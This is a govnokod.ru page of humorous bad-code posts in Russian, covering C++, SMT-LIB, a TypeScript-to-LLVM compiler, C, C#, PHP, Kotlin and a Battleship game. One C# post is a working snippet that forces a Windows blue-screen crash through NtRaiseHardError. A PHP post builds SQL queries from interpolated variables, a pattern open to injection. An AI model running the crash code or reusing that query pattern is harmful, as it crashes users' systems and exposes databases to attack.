- 1
- 2
- 3
int i = 42;
foo(i); //не компилируется
foo(static_cast<int>(i)); //компилируется
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+2
int i = 42;
foo(i); //не компилируется
foo(static_cast<int>(i)); //компилируется
+2
(set-logic UF)
; https://smtlib.cs.uiowa.edu/logics.shtml
; UF for the extension allowing free sort and function symbols
(set-option :produce-proofs true)
(declare-sort M_list)
(declare-fun m_node (M_list M_list) M_list)
; один хер какой порядок, можно переписать (a, b) на (b, a)
(assert
(forall ( (a M_list) (b M_list) )
(=
(m_node a b)
(m_node b a)
)
)
)
; если есть (a (b c)) то можно переписать на (с (a b))
(assert
(forall ( (a M_list) (b M_list) (c M_list) )
(=
(m_node a (m_node b c) )
(m_node c (m_node a b) )
)
)
)
; Можно создавать или удалять повторы, (a a) <=> a
(assert
(forall ( (a M_list))
(=
(m_node a a)
a
)
)
)
; Чтоб узнать, выводима ли такая-то хернь
(declare-fun m_node_select (M_list M_list) Bool)
(assert
(forall ( (a M_list) (b M_list) )
(m_node_select
a (m_node a b)
)
)
)
; проверяем, можно ли сконструировать (a a) из (c ((b d) a))
(assert
(not (forall ( (a M_list) (b M_list) (c M_list) (d M_list) )
(m_node_select
(m_node a a)
(m_node c (m_node (m_node b d) a) )
)
))
)
(check-sat)
(get-proof)
Вот вам немного гомоикон SMT-солвера. Эта вот хренотень сама доказывает, не то что какой-то там Coq.
Понятно что по тем вот говноправилам можно чтоб всплыло 'a' и потом его удвоить "(a a) <=> a"
потом через m_node_select вытащить этот дубликат
+2
function main()
{
f1();
}
function f1(a = 10)
{
return a;
}
// code for 1
module @"1.ts" {
func @main() {
%c0_i32 = constant 0 : i32
%0 = typescript.undef : i32
%1 = call @f1(%c0_i32, %0) : (i32, i32) -> i32
return
}
func private @f1(%arg0: i32, %arg1: i32) -> i32 attributes {OptionalFrom = 1 : i8} {
%c10_i32 = constant 10 : i32
%c1_i32 = constant 1 : i32
%0 = alloca() : memref<i32>
%1 = cmpi ult, %arg0, %c1_i32 : i32
%2 = scf.if %1 -> (i32) {
scf.yield %c10_i32 : i32
} else {
scf.yield %arg1 : i32
}
store %2, %0[] : memref<i32>
%3 = load %0[] : memref<i32>
return %3 : i32
}
}
// code for 2
; ModuleID = 'LLVMDialectModule'
source_filename = "LLVMDialectModule"
target datalayout = "e-m:w-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-windows-msvc"
declare i8* @malloc(i64)
declare void @free(i8*)
define void @main() !dbg !3 {
%1 = call i32 @f1(i32 0, i32 undef), !dbg !7
ret void, !dbg !9
}
define i32 @f1(i32 %0, i32 %1) !dbg !10 {
%3 = alloca i32, i64 ptrtoint (i32* getelementptr (i32, i32* null, i64 1) to i64), align 4, !dbg !11
%4 = insertvalue { i32*, i32*, i64 } undef, i32* %3, 0, !dbg !11
%5 = insertvalue { i32*, i32*, i64 } %4, i32* %3, 1, !dbg !11
%6 = insertvalue { i32*, i32*, i64 } %5, i64 0, 2, !dbg !11
%7 = icmp ult i32 %0, 1, !dbg !11
br i1 %7, label %8, label %9, !dbg !11
8: ; preds = %2
br label %10, !dbg !11
9: ; preds = %2
br label %10, !dbg !11
10: ; preds = %8, %9
%11 = phi i32 [ %1, %9 ], [ 10, %8 ]
br label %12, !dbg !11
12: ; preds = %10
%13 = extractvalue { i32*, i32*, i64 } %6, 1, !dbg !11
store i32 %11, i32* %13, align 4, !dbg !11
%14 = extractvalue { i32*, i32*, i64 } %6, 1, !dbg !11
%15 = load i32, i32* %14, align 4, !dbg !11
ret i32 %15, !dbg !13
}
История о том как я компайлер писал. (предисторию знают думаю все). Посмотрите на код и сравните с ужасным кодом на С. Это простенький javascript который тоже може быть скомпиленным в исполняемый год. а что для этого надо. просто несколько шагов.
1) компилим код через чудо компилятор tsc.exe --emit=mlir-affine c:\1.ts
llc.exe --filetype=obj -o=out.o 1.ll
+2
chek_LD(void)
{
LOCK_DETECT = read();
if (LOCK_DETECT == SAVE_LOCK_DETECT)
{
return;
}
if (LOCK_DETECT == 0)
{
LOCK_DETECT = read();
if (LOCK_DETECT == 0)
{
if (LOCK_DETECT != SAVE_LOCK_DETECT)
{
SAVE_LOCK_DETECT = 0;
}
}
}
else
{
delay_us(5);
LOCK_DETECT = read();
if (LOCK_DETECT == 1)
{
if (LOCK_DETECT != SAVE_LOCK_DETECT)
{
SAVE_LOCK_DETECT = 1;
}
}
}
return;
}
пришел на легаси проект. обожаю глобальные переменные на весь проект. еще больше обожаю логику)
+2
namespace test
{
//public record P(double D);
class Program1
{
static void Main(string[] args)
{
//The differences between Double.Equals and Double==
Console.WriteLine(double.NaN.Equals(double.NaN)); //True
Console.WriteLine(double.NaN == double.NaN); // False
//The same is true for tuples!
Console.WriteLine((double.NaN, 1).Equals((double.NaN, 1))); // True
Console.WriteLine((double.NaN, 1) == (double.NaN, 1)); // False
//But records in C# 9 behave differently!
Console.WriteLine(new P(double.NaN).Equals(new P(double.NaN))); // True
Console.WriteLine(new P(double.NaN) == new P(double.NaN)); // True
}
}
}
https://twitter.com/STeplyakov/status/1333831742134779904
+2
$queapplemode = mysqli_query($connect, "SELECT * FROM application_moderate_history ORDER BY user_id ") or die ("error_11111");
$num=0;
$nummm=0;
$oldmodered="";
$newmodered="";
while($apmod = ($queapplemode))
{
// по данной таблице сортируем модераторов по порядку по айди, отслеживаем аппликатион айди, если его нет в бечелор аппликатион, тогда долой, если есть, то сверяем type_id, если 1, то успех и (если не успех, то мимо) тогда берем все данные из таблицы аппликатион модерат и далее обращаемсся в таблицу бачелор аппликатион и берем по аппликатион id там user_id абитуриента
$apid = $apmod['application_id']; //id таблицы bachelor_application
$apidquee = mysqli_query($connect, "SELECT * FROM bachelor_application WHERE id = '{$apid}'") or die ("error_11111");
if($apidquee11 = mysqli_fetch_assoc($apidquee))
{
if($apidquee11['type_id'] == 2)
{
$stateus = $apmod['status']; // статус модерирования
if($stateus == 0)
{
$stateuss = "Готовится";
}
elseif($stateus == 1)
{
$stateuss = "Подано";
}
elseif($stateus == 2)
{
$stateuss = "Принято";
}
elseif($stateus == 3)
{
$stateuss = "Отклонено";
}
$id_moderchika = $apmod['user_id']; // id модератора
$moder = mysqli_query($connect, "SELECT * FROM user WHERE id = '{$id_moderchika}' ") or die ("error_111");
$modered = mysqli_fetch_assoc($moder);
$modered = $modered['username']; //имя модератора
$commentar = $apmod['comment']; //комментарий от модератора
$sozdan = $apmod['created_at']; //дата модерации
$sozdan = Yii::$app->formatter->asDatetime($sozdan);
$id_polzot = $apidquee11['user_id']; //id абитуриента
$user = mysqli_query($connect, "SELECT * FROM user WHERE id = '{$id_polzot}' ") or die ("error_1110");
$usered = mysqli_fetch_assoc($user);
$usered = $usered['username'];
$userfio = mysqli_query($connect, "SELECT * FROM user_profile WHERE user_id = '{$id_polzot}' ") or die ("error_1110");
$userfioed = mysqli_fetch_assoc($userfio);
$userfiofir = $userfioed['firstname'];
$userfiomid = $userfioed['middlename'];
$userfiolas = $userfioed['lastname'];
?>
<tr>
<td style="border: solid 1px #000; text-align:center;"><?php echo $id_moderchika; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $modered; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $id_polzot; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $usered; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $userfiofir." ".$userfiomid." ".$userfiolas; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $stateuss; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $commentar; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $sozdan; ?></td>
</tr>
<?php
$num++;
$newmodered = $modered['username'];
if($newmodered == $oldmodered)
{
$nummm++;
$oldmodered = $newmodered;
}
else
{
$oldmodered = $newmodered;
}
// получаем нового модератора, если новый модератор сопоставим со старым модератором, который в предыдущем цикле прошел итерацию, то просто +1 пишем, если нет, то завершаем суммирование и вносим в старого модера нового модера
}
}
}
Когда не умеешь пользоваться Джоинами, и соединяешь таблицы, перебирая результат запроса в цикле
+2
using JINN=System;
namespace SiniyShaman
{
class PrizivSinegoDemona
{
[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int Privilege,bool bEnablePrivilege,bool IsThreadPrivilege,out bool PreviousValue);
[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,JINN.IntPtr Parameters,uint ValidResponseOption,out uint Response);
[JINN.STAThread]
static unsafe void Main(string[]args)
{
JINN.Runtime.InteropServices.Marshal.PrelinkAll(typeof(PrizivSinegoDemona));
JINN.Boolean t1;
uint t2;
RtlAdjustPrivilege(19,true,false,out t1);
NtRaiseHardError(0xc0000022,0,0,JINN.IntPtr.Zero,6,out t2);
}
}
}
Волшебства не бывает говорили они... В армию уже походу не возьмут %)
+2
В России предложили перейти на Rust при разработке ПО для «проектов повышенной надёжности».
Языком Rust предлагают ограничить все проекты по разработке ядерного оружия,
атомных станций, авиации, электроэнергетики, банковской сферы и т.д.
Но не стоит переживать. Если проект примут, то разработчикам дадут
от полугода до года, «чтобы успели переучиться». Как говорится, и на том спасибо.
Голосовать, если что, можно тут: https://www.roi.ru/71821/
+2
private fun findFirstChecked(calendarModel: CalendarModel) =
LocalDate.parse(
"${calendarModel.year}-${
calendarModel.months.indexOfFirst {
it.state is
CalendarMonthState.EnableType
}.plus(1).toString().padStart(2, '0')
}-01"
)
Та хрен его знает что оно делает. Вроде бы находит выбранный месяц календаря, но это не точно.
+2
ShipType Ship::getShipTypeByLength(int length)
{
switch (length) {
case 1: return BOAT;
case 2: return CRUISER;
case 3: return DESTROYER;
case 4: return BATTLESHIP;
case 5: return AIRCRAFT_CARRIER;
default:
std::cout << "No ship meets the given length: " << length << std::endl;
return ERROR_SHIP;
}
}
int Ship::getShipLengthByType(ShipType type)
{
switch (type) {
case BOAT: return 1;
case CRUISER: return 2;
case DESTROYER: return 3;
case BATTLESHIP: return 4;
case AIRCRAFT_CARRIER: return 5;
default:
std::cout << "No ship meets the given type: " << type << std::endl;
return 0;
}
}
int Ship::getShipAmountByType(ShipType type)
{
switch (type) {
case BOAT: return 4;
case CRUISER: return 3;
case DESTROYER: return 2;
case BATTLESHIP: return 1;
case AIRCRAFT_CARRIER: return 1;
default:
std::cout << "No ship meets the given type: " << type << std::endl;
return 0;
}
}
Coordinates Ship::getFirstBlockCoordinatesByShipData(int x, int y, int length, Orientation orientation)
{
Coordinates result;
if (orientation == HORIZONTAL) {
result.x = x - (length / 2);
result.y = y;
} else {
result.x = x;
result.y = y - (length / 2);
}
return result;
}
Coordinates Ship::getLastBlockCoordinatesByShipData(int x, int y, int length, Orientation orientation)
{
Coordinates result;
if (orientation == HORIZONTAL) {
result.x = x + (length / 2) + (length % 2) - 1;
result.y = y;
} else {
result.x = x;
result.y = y + (length / 2) + (length % 2) - 1;
}
return result;
}
Вот некоторые полезные функции из игры «Морской Бой», которую я зачем-то написал.